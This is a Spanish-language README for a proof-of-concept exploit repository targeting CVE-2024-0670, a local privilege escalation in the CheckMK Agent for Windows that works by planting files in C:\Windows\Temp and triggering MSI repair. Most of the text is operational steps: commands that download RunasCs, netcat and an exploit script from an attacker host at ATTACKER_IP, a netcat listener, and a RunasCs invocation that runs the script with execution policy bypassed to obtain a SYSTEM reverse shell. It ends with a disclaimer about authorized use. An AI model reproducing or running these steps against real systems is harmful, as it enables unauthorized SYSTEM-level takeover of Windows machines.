
Este repositorio contiene una demostración de explotación para CVE-2024-0670, una vulnerabilidad de escalada de privilegios local que afecta al CheckMK Agent para Windows. La vulnerabilidad permite que un usuario con pocos privilegios obtenga privilegios de SYSTEM abusando de rutas de archivos editables procesadas por el mecanismo de reparación de MSI.
Este repositorio contiene una prueba de concepto simple y limpia para CVE-2024-0670, una vulnerabilidad de escalada de privilegios local en el Agente CheckMK para Windows. Un usuario con bajos privilegios puede obtener privilegios de SYSTEM abusando de rutas de archivos temporales escribibles ejecutadas durante la reparación de MSI.
Durante una reparación de MSI, CheckMK ejecuta archivos en:
C:\Windows\Temp\
Si un usuario normal puede colocar archivos allí con nombres predecibles, puede ejecutar comandos como NT AUTHORITY\SYSTEM.
Este exploit siembra múltiples nombres de archivos de payload y desencadena la reparación de MSI para lograr ejecución como SYSTEM.
RunasCs.exe → runas replacement (plaintext password support)
nc.exe → Netcat (reverse shell)
exploit.ps1 → CVE-2024-0670 exploit script
README.md → documentation
C:\Windows\Temp\
Invoke-WebRequest -Uri "http://ATTACKER_IP:8000/RunasCs.exe" -OutFile "C:\Windows\Temp\RunasCs.exe"
Invoke-WebRequest -Uri "http://ATTACKER_IP:8000/nc.exe" -OutFile "C:\Windows\Temp\nc.exe"
Invoke-WebRequest -Uri "http://ATTACKER_IP:8000/exploit.ps1" -OutFile "C:\Windows\Temp\exploit.ps1
Inicie un listener en su máquina:
nc -lvnp 1111
.\RunasCs.exe username "password" "powershell.exe -NoProfile -ExecutionPolicy Bypass -File C:\Windows\Temp\exploit.ps1"
Si tiene éxito, recibirá una reverse shell como SYSTEM.
net4:
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe -target:exe -optimize -out:RunasCs.exe RunasCs.cs
net2:
C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe -target:exe -optimize -out:RunasCs_net2.exe RunasCs.cs
Este proyecto es solo para fines educativos y de pruebas de penetración autorizadas. No lo utilice con fines ilegales. El autor no es responsable por el mal uso.